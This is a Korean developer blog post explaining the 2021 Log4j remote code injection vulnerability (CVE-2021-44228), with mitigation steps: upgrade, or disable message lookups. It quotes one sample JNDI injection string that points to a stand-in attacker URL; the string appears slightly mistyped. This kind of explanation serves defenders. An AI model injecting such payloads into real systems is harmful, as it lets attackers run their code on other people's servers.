Back End/Spring Boot

[Spring] 심각한 Log4j 보안문제 (feat. Slf4j)

DevPing9_ 2021. 12. 24. 16:05

제로데이 어택으로 분류되는 log4j CVE-2021-44228

2021년 11월 24일에 알리바바 클라우드 보안팀 소속 Chen Zhaojun 의해 보고 되었다.

(약 8년동안 방치되었다고 한다)

 

아파치의 Log4j 로 인해 Remote Code Injection (과거 SQL Injection 과 같이) 이 가능하다는 사실이 알려졌다.

 

애플, 테슬라, 아마존등에서 이미 이러한 취약점이 발견되었고, 보고 후 많은 테스트들이 시연되었다..

 

[얼마나 간단하기에?]

Log4j 의 JNDI와 LDAP 때문에 생긴 틈인데,  로그가 기록되는 곳(로그인과 사용자입력)을 찾아

${jndi:sndi:snd://Hacker-URL} 와 같은 값을 추가하면

Hacker-URL 에 호스팅 되어있는 코드가 공격받는 서버에서 실행된다.

 

[제로데이 어택]

취약점의 원리가 매우 간단하므로, 발표되자마자 공격이 들어올 수 있기에 많은 보안팀들이 철야를 한 것으로 보인다 ㅠㅠ...

(고생들 많으십니다..)

 

[전세계 보안팀들의 철야 그 이후]

전세계 보안팀들의 철야로 신속하게 대안방안들이 만들어졌으나

Fastly 에 따르면 해커들에 의해 어떤 웹사이트가 취약한지 엄청난 규모의 스캔이 이루어지고 있다고 한다.

(Log4j 가 있는지 모르는 경우도 있으니...)

 

 

[대응방법]

1. Log4j 라이브러리 최신버전으로 업데이트

2. property 설정 (업데이트 불가능한 경우)

// 속성 설정 (YML, properities, xml)
log4j2.formatMsgNoLookups=true


// 또는 환경변수 설정
LOG4J_FORMAT_MSG_NO_LOOKUPS=true

 

 

 

현재 포트폴리오용 프로젝트에 Slf4j 를 자주 쓰고있었는데, 아마도 손봐야 할 것 같다 😒😒😒

 


 

# [Reference]

1. CloudFlare Blog

 

728x90